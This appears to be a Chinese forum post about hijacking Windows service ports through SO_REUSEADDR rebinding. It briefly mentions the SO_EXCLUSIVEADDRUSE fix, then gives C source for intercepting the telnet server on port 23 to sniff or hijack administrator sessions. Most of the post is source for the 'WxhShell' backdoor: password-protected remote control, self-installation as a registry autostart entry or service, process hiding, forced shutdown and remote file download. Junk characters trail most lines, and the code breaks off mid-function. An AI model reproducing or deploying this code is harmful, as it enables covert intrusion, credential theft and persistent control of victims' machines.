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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #mkr]K8A4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R@VO3zsW  
8!UZ..  
  saddr.sin_family = AF_INET; z%Z}vWn  
&g& &-=7)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =l7LEkR  
( ?/0$DB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); TdQ^^{SRp  
r]HLO'<]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !%s7I ^f*  
Z:/S@ry  
  这意味着什么?意味着可以进行如下的攻击: Qgx~'9   
TJ; v}HSo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =dA T^e##  
 V'mpl  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2{V|  
VsZ_So;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `=KrV#/758  
iT5H<uS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0a'@J~v!  
~!&[;EM<bm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A+F-r_]}db  
yPQ{tS*t  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +'n1?^U  
*e>:K$r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 e0$mu?wd-  
bR8)s{p6  
  #include 1|. 0]~0  
  #include r?X^*o9  
  #include /Hx0=I  
  #include    qFs<s<]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =~0XdS/1  
  int main() YD+C1*c!  
  { O,OGq0c  
  WORD wVersionRequested; ;XtDz  
  DWORD ret; bs`/k&'  
  WSADATA wsaData; wcL0#[)  
  BOOL val; ~o2{Wn["  
  SOCKADDR_IN saddr; Xj@Kt|&`k  
  SOCKADDR_IN scaddr; =0f8W=d:Vr  
  int err; { a_L /"7  
  SOCKET s; -{7N]q)}  
  SOCKET sc; ?Jr<gn^D  
  int caddsize; /N^+a-.Qd  
  HANDLE mt; zp9 ?Ia  
  DWORD tid;   CD tYj  
  wVersionRequested = MAKEWORD( 2, 2 ); Q-au)R,  
  err = WSAStartup( wVersionRequested, &wsaData ); -[`W m7en  
  if ( err != 0 ) { 5:PZ=jPR  
  printf("error!WSAStartup failed!\n"); 8/F2V?iT  
  return -1; R|M:6]}   
  } s24H.>Z  
  saddr.sin_family = AF_INET; C {,d4KG  
   MnS"M[y3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (,TO|  
f7W=x6Z4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); C`#N Q*O  
  saddr.sin_port = htons(23); }GC{~ SZ4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aLq;a  
  { 0=5i\*5 p  
  printf("error!socket failed!\n"); ibAA:I,d  
  return -1; gU%GM  
  } 2?ednMoE  
  val = TRUE; wS^-o  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v6n(<0:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) T*ic?!  
  { c"$_V[m  
  printf("error!setsockopt failed!\n"); A+l"  
  return -1; s-ou;S3s  
  } A^Zs?<C-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &p%ctg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +O H."4Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 V& nN/CF  
.=FJ5?:4i%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #Nd+X@j  
  { z7_./ksQ  
  ret=GetLastError(); jl@8pO$  
  printf("error!bind failed!\n"); <>:kAT,sP  
  return -1; z[rB/ |2  
  } o99 a=x6  
  listen(s,2); *o#`lH  
  while(1) \wCL)t.cX  
  { Ii8jY_  
  caddsize = sizeof(scaddr); P}I*SV0  
  //接受连接请求 [K KoEZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #n7{ 3)   
  if(sc!=INVALID_SOCKET) zN:752d^+r  
  { ?`XKaD! f  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {8MF!CG]  
  if(mt==NULL) 9e5UTJ  
  { PA/6l"-`3  
  printf("Thread Creat Failed!\n"); b1OB'P8  
  break; DNy)\+[  
  } 8B+uNN~%]  
  }  ?.s*)n  
  CloseHandle(mt); nr^p H.  
  } vKt_z@{{L  
  closesocket(s); 8HOmWQS  
  WSACleanup(); a~|ge9? (  
  return 0; E$wB bm  
  }   6p@ts`#  
  DWORD WINAPI ClientThread(LPVOID lpParam) %xRS9A 4  
  { %'HUC>ChN  
  SOCKET ss = (SOCKET)lpParam; >']H)c'2  
  SOCKET sc; 9<ayQ*  
  unsigned char buf[4096]; |H4'*NP"  
  SOCKADDR_IN saddr; }VGiT~2$  
  long num; Uww^Sq  
  DWORD val; _6' g]4  
  DWORD ret; 34=0.{qn  
  //如果是隐藏端口应用的话,可以在此处加一些判断 D4|_?O3 |m  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   WKf~K4BL>  
  saddr.sin_family = AF_INET; Q'VS]n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8\9EDgT  
  saddr.sin_port = htons(23); 7,zARWB!?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) On^#x]  
  { }NXESZYoi  
  printf("error!socket failed!\n"); 2~<0<^j/]  
  return -1; {V8Pn2mlo  
  }  #L)rz u  
  val = 100; UQ)}i7v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p"@|2a  
  { X`b5h}c  
  ret = GetLastError(); UU;:x"4  
  return -1; z#4g,)ZX  
  } 7 'S]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /HRaX!|E#  
  { x _K%  
  ret = GetLastError(); ~ #CCRUhM  
  return -1; ) YFs  
  } 1%,Z&@^j  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l_ c?q"X  
  { y6/X!+3+  
  printf("error!socket connect failed!\n"); CkU=0mcY  
  closesocket(sc); : [y(<TLw  
  closesocket(ss); g&>Hy!v,  
  return -1; F?=u:  
  } 8##jd[o&p~  
  while(1) 4lA+V,#  
  { K^H t$04  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z"3c+?2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5qy}~dQ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +$t%L  
  num = recv(ss,buf,4096,0); R5"p7>  
  if(num>0) 3p4?-Dd|_$  
  send(sc,buf,num,0); %j@FZ )a[  
  else if(num==0) &}O!l'  
  break; jvQ"cs$.  
  num = recv(sc,buf,4096,0); }H=OVbQor  
  if(num>0) (Y([^N q  
  send(ss,buf,num,0); {P&^Erx  
  else if(num==0)  o 2  
  break; wY#mL1dF  
  } Bv8C_-lV/  
  closesocket(ss); 16|S 0 )  
  closesocket(sc); d]E vC>  
  return 0 ; .TC `\mV  
  } sd53 _s V  
w|C~{  
aB^G  
========================================================== t5h_Q92N  
Z<W6Avr  
下边附上一个代码,,WXhSHELL E 6: p  
^A`(  
========================================================== ItADO'M  
l #Q`f.  
#include "stdafx.h" 7h1gU  
jm\#($gl=  
#include <stdio.h>  #Uh 5tc  
#include <string.h> "ux]kfoT  
#include <windows.h> AvZ) 1(  
#include <winsock2.h> {R;M`EU>  
#include <winsvc.h> yU,xcq~l  
#include <urlmon.h> 2 -aYqMmT;  
sv"mba.J  
#pragma comment (lib, "Ws2_32.lib") M%xL K7  
#pragma comment (lib, "urlmon.lib") s2~dmZ_B|_  
*GP_ut%  
#define MAX_USER   100 // 最大客户端连接数 S:/RYT"  
#define BUF_SOCK   200 // sock buffer 1i:g /H  
#define KEY_BUFF   255 // 输入 buffer OL5HofgNm  
)H)Udhz  
#define REBOOT     0   // 重启 CDnz &?  
#define SHUTDOWN   1   // 关机 9^ p{/Io  
|+-i'N9  
#define DEF_PORT   5000 // 监听端口 RWCS u$  
&pjV4m|j<  
#define REG_LEN     16   // 注册表键长度 ~aAJn IO  
#define SVC_LEN     80   // NT服务名长度 b6&NzUt34V  
!" %sp6Wc  
// 从dll定义API mthl?,I|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o '/C$E4W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;bZ*6-\!-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1Uk~m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vN:[  
)C]&ui~1  
// wxhshell配置信息 xY2_*#{.  
struct WSCFG { ROS"VV<  
  int ws_port;         // 监听端口 g ypq`F  
  char ws_passstr[REG_LEN]; // 口令 7CM03R[P  
  int ws_autoins;       // 安装标记, 1=yes 0=no h6y4Ii  
  char ws_regname[REG_LEN]; // 注册表键名 8zDH<Gb  
  char ws_svcname[REG_LEN]; // 服务名 {$YD-bqY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x ;,xd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $'YKB8C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Tw;qY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WwtE=od  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #Jz&9I<OKx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 86fK= G:>  
+'KE T,  
}; W#I:j: p  
,M.!z@  
// default Wxhshell configuration Y{vwOs  
struct WSCFG wscfg={DEF_PORT, QM_X2Ho  
    "xuhuanlingzhe", <3=qLm  
    1, NLZZMr  
    "Wxhshell", DnsP7k.8T  
    "Wxhshell", YQV?S  
            "WxhShell Service", W^.-C  
    "Wrsky Windows CmdShell Service", s%[GQQ-N  
    "Please Input Your Password: ", UXPegK!  
  1, Kt,yn A  
  "http://www.wrsky.com/wxhshell.exe", 34wM%@D*c  
  "Wxhshell.exe" dP7Vs a+  
    }; ?4[Oh/]R  
4UD=Y?zK  
// 消息定义模块 kEhm'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ct4 [b|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i4zV(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }?]yxa~  
char *msg_ws_ext="\n\rExit."; [~c'|E8Q  
char *msg_ws_end="\n\rQuit."; PuZs 5J3  
char *msg_ws_boot="\n\rReboot..."; :q64K?X  
char *msg_ws_poff="\n\rShutdown..."; x2;i< |  
char *msg_ws_down="\n\rSave to "; .um&6Q=2<  
( *>/w$%  
char *msg_ws_err="\n\rErr!"; 30 [#%_* o  
char *msg_ws_ok="\n\rOK!"; FaE#\Q  
DwmU fZp  
char ExeFile[MAX_PATH]; HXfXb ^~  
int nUser = 0; 3 t88AN=4  
HANDLE handles[MAX_USER]; 51G=RYay9  
int OsIsNt; )R8%'X;U  
I+"?,Ej$K  
SERVICE_STATUS       serviceStatus; $.Q>M]xH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N^ s!!Sbpq  
p&sK\   
// 函数声明 dG-or  
int Install(void); MziZN^(  
int Uninstall(void); Np<&#s[dQ  
int DownloadFile(char *sURL, SOCKET wsh); QhX C>)PW  
int Boot(int flag); /8>0; bX+  
void HideProc(void); =vr Y{5!>  
int GetOsVer(void); a,'Ncg  
int Wxhshell(SOCKET wsl); + sywgb)  
void TalkWithClient(void *cs); &^7uv0M<y  
int CmdShell(SOCKET sock); /X^3=-{8  
int StartFromService(void); yw.~trF&%  
int StartWxhshell(LPSTR lpCmdLine); 7AO3-; l]  
]oeuIRyQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J, 0pe\5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @>G&7r:U  
6b ]1d04hT  
// 数据结构和表定义 B3 dA%\'  
SERVICE_TABLE_ENTRY DispatchTable[] = o)#q9Vk%b  
{ Seq]NkgY  
{wscfg.ws_svcname, NTServiceMain}, i#RElH  
{NULL, NULL} P}hY {y'  
}; Z.:<TrN  
~mK-8U4>K,  
// 自我安装 +~ 3w5.8  
int Install(void) NSS4v tA  
{ sB( `[5I  
  char svExeFile[MAX_PATH]; s[3![ "^Y  
  HKEY key; ZUXse1,  
  strcpy(svExeFile,ExeFile); s~LZOPN  
Z .bit_(  
// 如果是win9x系统,修改注册表设为自启动 n{64g+  
if(!OsIsNt) { V~T`&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '<%Nw-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "*w)puD  
  RegCloseKey(key); *M wfod  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #d Z/UM(u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M'umoZmW0  
  RegCloseKey(key); QJ#u[hsMFp  
  return 0; tE]5@b,R  
    } uNe}"hs  
  } Nmp>UE,7[  
} -@ZzG uS(  
else { )X~Pr?52?  
%j *k  
// 如果是NT以上系统,安装为系统服务 *D?((_+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [,<\RviI  
if (schSCManager!=0) (Ffb&GL  
{ \E$1lc  
  SC_HANDLE schService = CreateService jby~AJf %  
  ( OL=ET)Y  
  schSCManager, 8:HSPDU.  
  wscfg.ws_svcname, [jl2\3*  
  wscfg.ws_svcdisp, AanH{  
  SERVICE_ALL_ACCESS, .!JMPf"QEI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6z#lN>Y-`  
  SERVICE_AUTO_START, u0XP(d H  
  SERVICE_ERROR_NORMAL, Z|ZBKcmg  
  svExeFile, XogvtK*  
  NULL, wJ+U[a  
  NULL, vpm ]9>1[  
  NULL, *o02!EYge  
  NULL, H]_WFiW-9  
  NULL vWU%ST  
  ); Opv1B2  
  if (schService!=0) +_qh)HX  
  { f?%qUD_#  
  CloseServiceHandle(schService); `'p`PyMt`  
  CloseServiceHandle(schSCManager); rI0)F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rIeM+h7Wn  
  strcat(svExeFile,wscfg.ws_svcname); :E>&s9Yj?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }RcK_w@Jx)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Hp\Ddx >Jd  
  RegCloseKey(key); V@vhj R4r\  
  return 0; eo1&.FQu  
    } XzT78  
  } IQ3n@  
  CloseServiceHandle(schSCManager); @Ex;9F,Q  
} })@tA<+  
} n{dP@_>WS  
- <J q  
return 1; 4~O6$;!|~  
} Zc-#;/b3T  
GAv)QZyV$  
// 自我卸载 S8O)/Sg=  
int Uninstall(void) 0iYP  
{ 7p)N_cJD  
  HKEY key; aZ`<PdA  
9nn>O?  
if(!OsIsNt) { /61by$E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LGIalf*7  
  RegDeleteValue(key,wscfg.ws_regname);  ispkj'  
  RegCloseKey(key); Z'Kd^`mt 9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7}Bj|]b)~  
  RegDeleteValue(key,wscfg.ws_regname); {Q)dU-\  
  RegCloseKey(key); ^:qD.h>&  
  return 0; NMXnrvS&  
  } (cvh3',  
} ^J8uhV;w  
} 6m9 7_NRO  
else { #2\8?UPd  
H(G!t`K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %a5t15 9  
if (schSCManager!=0) tXt:HVN  
{ 7))\'\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >;)2NrJV  
  if (schService!=0) h$70H^r  
  { 9b1?W?"  
  if(DeleteService(schService)!=0) { cVp[ Z#B  
  CloseServiceHandle(schService); *4t-e0]j@w  
  CloseServiceHandle(schSCManager); wW-Ab  
  return 0; *=Doe2(!C  
  }  "Y7+{  
  CloseServiceHandle(schService); {AOG"T&<  
  } f'&GFL=c  
  CloseServiceHandle(schSCManager); YMT8p\ #rp  
} 0<g<GQ(E  
} & g:%*>7P  
P/ci/y_1  
return 1; D?^540,b  
} wa!zv^;N*  
P+h6!=nD7  
// 从指定url下载文件 ^|#>zCt^  
int DownloadFile(char *sURL, SOCKET wsh) S?L#N  
{ Go1(@  
  HRESULT hr; eJ)1K  
char seps[]= "/"; %tV32l=  
char *token; SB TPTb  
char *file; :X_CFW  
char myURL[MAX_PATH]; \eQ la8s  
char myFILE[MAX_PATH]; vQ 4}WtvA  
|zq4*  5  
strcpy(myURL,sURL); Bz+.Qa+  
  token=strtok(myURL,seps); 0#QKVZq2>  
  while(token!=NULL) Vo,[EVL  
  { 4U?<vby  
    file=token; U/Wrh($ #4  
  token=strtok(NULL,seps); -/>9c-F  
  } "V4Q2T T  
vt.P*Z5  
GetCurrentDirectory(MAX_PATH,myFILE); }taLk@T  
strcat(myFILE, "\\"); y}N&/}M:}8  
strcat(myFILE, file); S ZlC4=6c  
  send(wsh,myFILE,strlen(myFILE),0); 1Dq<{;rWb  
send(wsh,"...",3,0); bhD ~ 4Rz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ry z?v<)h  
  if(hr==S_OK) {) xWD%  
return 0; GW3>&j_!d  
else xYI;V7  
return 1; .n`( X#,*l  
:?=Q39O9  
} XA)'=L!^  
mG2VZ>  
// 系统电源模块 N5? IpE  
int Boot(int flag) llq*T"7  
{ ,}0$Tv\1  
  HANDLE hToken; ]]TqP{H  
  TOKEN_PRIVILEGES tkp; x vmt.>f  
H\E7o" m  
  if(OsIsNt) { %X>FVlPm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gO='A(Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D9BQID$R  
    tkp.PrivilegeCount = 1; _ 5"+Dv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZjD)? 4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '^iUx,,ZQ  
if(flag==REBOOT) { v^SsoX>WMH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q8>t!rh<R  
  return 0; R4{-Qv#8 q  
} E1  |<Pt  
else { lpy:3`ti  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KVR~jF%  
  return 0; Z/<#n\>t0>  
} !`&\Lx_  
  } u7s"0f`  
  else { +-BwQ{92[:  
if(flag==REBOOT) { (}smW_ `5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [Atc "X$  
  return 0; Fi2xr<7"  
} sN~\+_  
else { $wV1*$1NM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >2b`\Q*<  
  return 0; rp's  
} m\ S\3n  
} JoZ(_Jh%m  
*fnvZw?  
return 1;  D!F 2l_  
} d'"r("w#  
E{y1S\7K  
// win9x进程隐藏模块 <*(^{a. O  
void HideProc(void) :,S98z#  
{ z.oU4c  
.[:VSM7T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8{0k0 &x  
  if ( hKernel != NULL ) 8 #}D : (  
  { y('k`>C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eC! #CK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -*B`]  
    FreeLibrary(hKernel); ?9mkRd}c  
  } (R*j|HAw`X  
8'#/LA[uPe  
return; jlqv2V7=/  
} /,s[#J   
}Fa%%}  
// 获取操作系统版本 W)*p2 #l  
int GetOsVer(void) 5~H#(d<oZ  
{ ZmEEj-*7s  
  OSVERSIONINFO winfo; DyO$P#~?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9Uf j  
  GetVersionEx(&winfo); +f|BiW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a.2L*>p  
  return 1; ;H'gT+t<c  
  else ;_O)p,p  
  return 0; (JUZCP/\  
} {X~ gwoz  
}V]R+%:w@  
// 客户端句柄模块 F;q#&  
int Wxhshell(SOCKET wsl) Kibr ]w  
{ Hfym30  
  SOCKET wsh; N&,]^>^u  
  struct sockaddr_in client; fv!?Ga(  
  DWORD myID; -/P\"c  
.}B(&*9,v  
  while(nUser<MAX_USER) SaOYu &>  
{ \%0n}.A  
  int nSize=sizeof(client); r'GP$0rr9!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U{@5*4  
  if(wsh==INVALID_SOCKET) return 1; T/1gI9 X  
rl08 R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pkgjTXR2b  
if(handles[nUser]==0) lIRlMLuG  
  closesocket(wsh); |7k_N|E  
else J h&~ToF!  
  nUser++; qS| \JG  
  } T>`74B:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QHq,/kWY  
72W s K"  
  return 0; eE GfM0  
} z4X}O {  
$za8"T*I  
// 关闭 socket oU*45B`"  
void CloseIt(SOCKET wsh) G\de2Q"d:O  
{ v'!a\b`9  
closesocket(wsh); N$>^g"6 o  
nUser--; aj^wRzJ}zA  
ExitThread(0); P!G858V(  
} 0Hxmm@X2  
jho**TQ P  
// 客户端请求句柄 Om;&_!i  
void TalkWithClient(void *cs) !%)F J:p  
{ $D'- k]E[H  
(QoI<j""  
  SOCKET wsh=(SOCKET)cs; ZyrI R  
  char pwd[SVC_LEN]; (xHf4[[u  
  char cmd[KEY_BUFF]; 9H-|FNz?c  
char chr[1]; %a+mk E  
int i,j; G+UMBn  
\R36w^c3  
  while (nUser < MAX_USER) { ?L&'- e@  
j)C,%Ol  
if(wscfg.ws_passstr) { H,nec<Jp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *37uy_EpV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {!t7[Ctb  
  //ZeroMemory(pwd,KEY_BUFF); i0$Bx>  
      i=0; U4aU}1RKz  
  while(i<SVC_LEN) { #P l~R  
N ,8/Y  
  // 设置超时 .qMOGbd?  
  fd_set FdRead; u! "t!2I  
  struct timeval TimeOut; ~cTN~<{dq  
  FD_ZERO(&FdRead); R}^~^#  
  FD_SET(wsh,&FdRead); QnZcBXI8  
  TimeOut.tv_sec=8; Dn&D!B  
  TimeOut.tv_usec=0; S4=~`$eP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &wD;SMr<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M`rl!Ci#  
R" ;x vo*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QFYWA1<pDh  
  pwd=chr[0]; CC#;c1t  
  if(chr[0]==0xd || chr[0]==0xa) { \jOA+FU [  
  pwd=0; yKYTi3_(  
  break; 0 stc9_O  
  } -FU}pz/  
  i++;  GB$;n?  
    } !O`(JSoG  
gw, UQbnu  
  // 如果是非法用户,关闭 socket O3I8k\`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U}[I   
} 7;KwLT9  
8 7D*-Gw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N[s}qmPha  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vI>>\ .ED  
{q"OM*L(  
while(1) { G1vNt7  
N<~t3/Nm  
  ZeroMemory(cmd,KEY_BUFF); 0g+'/+Ho 4  
3AU;>D^5  
      // 自动支持客户端 telnet标准   S:h{2{  
  j=0; !\7!3$w'8,  
  while(j<KEY_BUFF) { a!=D[Gz*5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z6*X%6,8  
  cmd[j]=chr[0]; M7pOLP_1jB  
  if(chr[0]==0xa || chr[0]==0xd) { u6AA4(  
  cmd[j]=0; *MKO I'  
  break; IZpP[hov  
  } vEJWFoeEFm  
  j++; vX/T3WV  
    }  C uB`CI  
#ZB~ x6i6  
  // 下载文件 Yt;MV)  
  if(strstr(cmd,"http://")) { <sBbT `  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ML|FQ  
  if(DownloadFile(cmd,wsh)) f&Gt|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }H^+A77v  
  else KV(Q;~8"X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =ALTUV3/q  
  } bbE!qk;hEP  
  else { D]zwl@sRX:  
nAv#?1cjz  
    switch(cmd[0]) { aDU<wxnSvO  
  ,J+}rPe"sf  
  // 帮助 'uBu6G  
  case '?': { N sXHO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8WXQ Oo8  
    break; PvPOU"  
  } ,Q  
  // 安装 jIJ~QpNE  
  case 'i': { t'n pG}`tE  
    if(Install()) -XB/lnG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A^USBv+9`  
    else JMC. w!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fp`;U_-&0  
    break; ;ub;l h3  
    } +S o4rA*9  
  // 卸载 Ayxkv)%:@)  
  case 'r': { uXn1 'K<'2  
    if(Uninstall()) uvkz'R=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c2l@6<Ww  
    else 0XE4<U   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eA2@Nkw~)  
    break; ofm#'7P 0  
    } -|$@-fY;  
  // 显示 wxhshell 所在路径 bCRV\myd`  
  case 'p': { ,E S0NA  
    char svExeFile[MAX_PATH]; C5o#i*|  
    strcpy(svExeFile,"\n\r"); >qnko9V  
      strcat(svExeFile,ExeFile); +^60T$  
        send(wsh,svExeFile,strlen(svExeFile),0); @>,^":`#  
    break; ]cHgleHQ  
    } q'T4w!V(V  
  // 重启 >mwlsL~X  
  case 'b': { e"{{ TcNk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hOjk3 k  
    if(Boot(REBOOT)) oB(?_No7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Vc6Gwm  
    else { _kef 0K6  
    closesocket(wsh); ]L5@,E4.  
    ExitThread(0); =^M/{51j  
    } J,'M4O\S  
    break; 'j#*6xD  
    } A8muQuj]~~  
  // 关机 p|U?86 t  
  case 'd': { &6/[B_.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9+Np4i@  
